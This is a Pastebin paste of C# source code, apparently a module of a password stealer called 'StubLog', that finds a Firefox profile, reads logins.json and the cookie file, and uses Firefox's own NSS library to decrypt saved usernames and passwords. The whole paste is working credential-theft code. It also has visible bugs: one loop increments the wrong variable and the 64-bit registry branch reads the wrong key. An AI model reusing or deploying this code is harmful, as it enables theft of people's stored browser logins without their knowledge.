Guest User

Untitled

a guest
Jul 9th, 2017
152
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.60 KB | None | 0 0
  1. using Microsoft.Win32;
  2. using System;
  3. using System.Collections.Generic;
  4. using System.ComponentModel;
  5. using System.Diagnostics;
  6. using System.IO;
  7. using System.Runtime.InteropServices;
  8. using System.Text;
  9. using System.Text.RegularExpressions;
  10.  
  11. namespace StubLog.Recoveries.Browsers
  12. {
  13. class Firefox
  14. {
  15. private static IntPtr nssModule;
  16.  
  17. private static DirectoryInfo firefoxProfilePath;
  18. private static DirectoryInfo firefoxPath;
  19. private static FileInfo firefoxLoginFile;
  20. private static FileInfo firefoxCookieFile;
  21.  
  22. static Firefox()
  23. {
  24. try
  25. {
  26. firefoxPath = GetFirefoxInstallPath();
  27. if (firefoxPath == null)
  28. throw new NullReferenceException("Firefox is not installed, or the install path could not be located");
  29. firefoxProfilePath = GetProfilePath();
  30. if (firefoxProfilePath == null)
  31. throw new NullReferenceException("Firefox does not have any profiles, has it ever been launched?");
  32.  
  33. firefoxLoginFile = GetFile(firefoxProfilePath, "logins.json");
  34. if (firefoxLoginFile == null)
  35. throw new NullReferenceException("Firefox does not have any logins.json file");
  36.  
  37. firefoxCookieFile = GetFile(firefoxProfilePath, "cookies.sqlite");
  38. if (firefoxCookieFile == null)
  39. throw new NullReferenceException("Firefox does not have any cookie file");
  40. }
  41. catch (Exception ex)
  42. {
  43. Console.WriteLine(ex.ToString());
  44. }
  45.  
  46. }
  47.  
  48. private static DirectoryInfo GetFirefoxInstallPath()
  49. {
  50. DirectoryInfo firefoxPath = null;
  51. // get firefox path from registry
  52. // we'll search the 32bit install location
  53. RegistryKey localMachine1 = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Mozilla\Mozilla Firefox", false);
  54. // and lets try the 64bit install location just in case
  55. RegistryKey localMachine2 = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox", false);
  56.  
  57. if (localMachine1 != null)
  58. {
  59. string[] installedVersions = localMachine1.GetSubKeyNames();
  60. // we'll take the first installed version, people normally only have one
  61. if (installedVersions.Length == 0)
  62. throw new IndexOutOfRangeException("No installs of firefox recorded in its key.");
  63.  
  64. RegistryKey mainInstall = localMachine1.OpenSubKey(installedVersions[0]);
  65.  
  66. // get install directory
  67. string installString = (string)mainInstall.OpenSubKey("Main").GetValue("Install Directory", null);
  68.  
  69. if (installString == null)
  70. throw new NullReferenceException("Install string was null");
  71.  
  72. firefoxPath = new DirectoryInfo(installString);
  73.  
  74.  
  75. }
  76. else if (localMachine2 != null)
  77. {
  78. string[] installedVersions = localMachine1.GetSubKeyNames();
  79. // we'll take the first installed version, people normally only have one
  80. if (installedVersions.Length == 0)
  81. throw new IndexOutOfRangeException("No installs of firefox recorded in its key.");
  82.  
  83. RegistryKey mainInstall = localMachine1.OpenSubKey(installedVersions[0]);
  84.  
  85. // get install directory
  86. string installString = (string)mainInstall.OpenSubKey("Main").GetValue("Install Directory", null);
  87.  
  88. if (installString == null)
  89. throw new NullReferenceException("Install string was null");
  90.  
  91. firefoxPath = new DirectoryInfo(installString);
  92. }
  93. return firefoxPath;
  94. }
  95.  
  96. #region Public Members
  97.  
  98. public static List<RecoveredAccount> Recover()
  99. {
  100. List<RecoveredAccount> data = new List<RecoveredAccount>();
  101. InitializeDelegates(firefoxProfilePath, firefoxPath);
  102.  
  103. try
  104. {
  105. Console.WriteLine("Recovering Mozilla Firefox...");
  106. using (StreamReader sr = new StreamReader(firefoxLoginFile.FullName))
  107. {
  108. string json = sr.ReadToEnd();
  109. Regex JSONRegex = new Regex(@"\""(hostname|encryptedPassword|encryptedUsername)"":""(.*?)""");
  110. MatchCollection mozMC = JSONRegex.Matches(json);
  111. for (int i = 0; i < (mozMC.Count - 1); i += 3)
  112. {
  113. for (int e = 0; e < 10; i++)
  114. {
  115. Console.WriteLine(mozMC[i + e].Groups[2].Value);
  116. }
  117. data.Add(new RecoveredAccount
  118. {
  119. URL = mozMC[i].Groups[2].Value,
  120. Username = Decrypt(mozMC[i + 1].Groups[2].Value),
  121. Password = Decrypt(mozMC[i + 2].Groups[2].Value),
  122. Application = "Mozilla Firefox"
  123. });
  124. }
  125. }
  126. }
  127. catch (Exception ex)
  128. {
  129. Console.WriteLine(ex.ToString());
  130. }
  131. return data;
  132. }
  133.  
  134. #endregion
  135. [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
  136. public delegate long NSS_Init(string configdir);
  137. #region Functions
  138. private static void InitializeDelegates(DirectoryInfo firefoxProfilePath, DirectoryInfo firefoxPath)
  139. {
  140. //Return if under firefox 35 (35+ supported)
  141. //Firefox changes their DLL heirarchy/code with different releases
  142. //So we need to avoid trying to load a DLL in the wrong order
  143. //To prevent pop up saying it could not load the DLL
  144. if (new Version(FileVersionInfo.GetVersionInfo(firefoxPath.FullName + "\\firefox.exe").FileVersion).Major < new Version("35.0.0").Major)
  145. return;
  146. if (File.Exists(firefoxPath.FullName + "\\msvcr100.dll"))
  147. LoadWin32Library(firefoxPath.FullName + "\\msvcr100.dll");
  148. else if (File.Exists(firefoxPath.FullName + "\\msvcp100.dll"))
  149. LoadWin32Library(firefoxPath.FullName + "\\msvcp100.dll");
  150. else if (File.Exists(firefoxPath.FullName + "\\msvcr120.dll"))
  151. LoadWin32Library(firefoxPath.FullName + "\\msvcr120.dll");
  152. else if (File.Exists(firefoxPath.FullName + "\\msvcp120.dll"))
  153. LoadWin32Library(firefoxPath.FullName + "\\msvcp120.dll");
  154. else if (File.Exists(firefoxPath.FullName + "\\msvcr140.dll"))
  155. LoadWin32Library(firefoxPath.FullName + "\\msvcr140.dll");
  156. else if (File.Exists(firefoxPath.FullName + "\\msvcp140.dll"))
  157. LoadWin32Library(firefoxPath.FullName + "\\msvcp140.dll");
  158.  
  159. LoadWin32Library(firefoxPath.FullName + "\\mozglue.dll");
  160. nssModule = LoadWin32Library(firefoxPath.FullName + "\\nss3.dll");
  161. IntPtr pProc = GetProcAddress(nssModule, "NSS_Init");
  162. NSS_InitPtr NSS_Init = (NSS_InitPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_InitPtr));
  163. NSS_Init(firefoxProfilePath.FullName);
  164. long keySlot = PK11_GetInternalKeySlot();
  165. PK11_Authenticate(keySlot, true, 0);
  166. }
  167. private static DateTime FromUnixTime(long unixTime)
  168. {
  169. DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);
  170. return epoch.AddSeconds(unixTime);
  171. }
  172. private static long ToUnixTime(DateTime value)
  173. {
  174. TimeSpan span = (value - new DateTime(1970, 1, 1, 0, 0, 0, 0).ToLocalTime());
  175. return (long)span.TotalSeconds;
  176. }
  177. #endregion
  178.  
  179. #region File Handling
  180. private static DirectoryInfo GetProfilePath()
  181. {
  182. string raw = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Mozilla\Firefox\Profiles";
  183. if (!Directory.Exists(raw))
  184. throw new Exception("Firefox Application Data folder does not exist!");
  185. DirectoryInfo profileDir = new DirectoryInfo(raw);
  186.  
  187. DirectoryInfo[] profiles = profileDir.GetDirectories();
  188. if (profiles.Length == 0)
  189. throw new IndexOutOfRangeException("No Firefox profiles could be found");
  190.  
  191. // return first profile, fuck it.
  192. return profiles[0];
  193.  
  194. }
  195. private static FileInfo GetFile(DirectoryInfo profilePath, string searchTerm)
  196. {
  197. foreach (FileInfo file in profilePath.GetFiles(searchTerm))
  198. {
  199. return file;
  200. }
  201. throw new Exception("No Firefox logins.json was found");
  202.  
  203.  
  204. }
  205.  
  206. #endregion
  207.  
  208. #region WinApi
  209. // Credit: http://www.pinvoke.net/default.aspx/kernel32.loadlibrary
  210. private static IntPtr LoadWin32Library(string libPath)
  211. {
  212. if (String.IsNullOrEmpty(libPath))
  213. throw new ArgumentNullException("libPath");
  214.  
  215. IntPtr moduleHandle = LoadLibrary(libPath);
  216. if (moduleHandle == IntPtr.Zero)
  217. {
  218. var lasterror = Marshal.GetLastWin32Error();
  219. var innerEx = new Win32Exception(lasterror);
  220. innerEx.Data.Add("LastWin32Error", lasterror);
  221.  
  222. throw new Exception("can't load DLL " + libPath, innerEx);
  223. }
  224. return moduleHandle;
  225. }
  226.  
  227. [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
  228. static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
  229.  
  230. [DllImport("kernel32.dll")]
  231. public static extern IntPtr GetProcAddress(IntPtr hModule, string procedureName);
  232.  
  233. [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
  234. private delegate long NSS_InitPtr(string configdir);
  235.  
  236. [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
  237. private delegate int PK11SDR_DecryptPtr(ref TSECItem data, ref TSECItem result, int cx);
  238.  
  239. [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
  240. private delegate long PK11_GetInternalKeySlotPtr();
  241.  
  242. [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
  243. private delegate long PK11_AuthenticatePtr(long slot, bool loadCerts, long wincx);
  244.  
  245. [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
  246. private delegate int NSSBase64_DecodeBufferPtr(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen);
  247.  
  248. [StructLayout(LayoutKind.Sequential)]
  249. private struct TSECItem
  250. {
  251. public int SECItemType;
  252. public int SECItemData;
  253. public int SECItemLen;
  254. }
  255.  
  256. #endregion
  257.  
  258.  
  259.  
  260. #region Delegate Handling
  261. // Credit: http://www.codeforge.com/article/249225
  262. private static long PK11_GetInternalKeySlot()
  263. {
  264. IntPtr pProc = GetProcAddress(nssModule, "PK11_GetInternalKeySlot");
  265. PK11_GetInternalKeySlotPtr ptr = (PK11_GetInternalKeySlotPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_GetInternalKeySlotPtr));
  266. return ptr();
  267. }
  268. private static long PK11_Authenticate(long slot, bool loadCerts, long wincx)
  269. {
  270. IntPtr pProc = GetProcAddress(nssModule, "PK11_Authenticate");
  271. PK11_AuthenticatePtr ptr = (PK11_AuthenticatePtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_AuthenticatePtr));
  272. return ptr(slot, loadCerts, wincx);
  273. }
  274. private static int NSSBase64_DecodeBuffer(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen)
  275. {
  276. IntPtr pProc = GetProcAddress(nssModule, "NSSBase64_DecodeBuffer");
  277. NSSBase64_DecodeBufferPtr ptr = (NSSBase64_DecodeBufferPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSSBase64_DecodeBufferPtr));
  278. return ptr(arenaOpt, outItemOpt, inStr, inLen);
  279. }
  280. private static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx)
  281. {
  282. IntPtr pProc = GetProcAddress(nssModule, "PK11SDR_Decrypt");
  283. PK11SDR_DecryptPtr ptr = (PK11SDR_DecryptPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11SDR_DecryptPtr));
  284. return ptr(ref data, ref result, cx);
  285. }
  286.  
  287. private static string Decrypt(string cypherText)
  288. {
  289. StringBuilder sb = new StringBuilder(cypherText);
  290. int hi2 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, sb, sb.Length);
  291. TSECItem tSecDec = new TSECItem();
  292. TSECItem item = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem));
  293. if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
  294. {
  295. if (tSecDec.SECItemLen != 0)
  296. {
  297. byte[] bvRet = new byte[tSecDec.SECItemLen];
  298. Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen);
  299. return Encoding.UTF8.GetString(bvRet);
  300. }
  301. }
  302. return null;
  303. }
  304.  
  305. #endregion
  306. }
  307.  
  308. public class RecoveredAccount
  309. {
  310. public string Username { get; set; }
  311. public string Password { get; set; }
  312. public string URL { get; set; }
  313. public string Application { get; set; }
  314. }
  315. }
Add Comment
Please, Sign In to add comment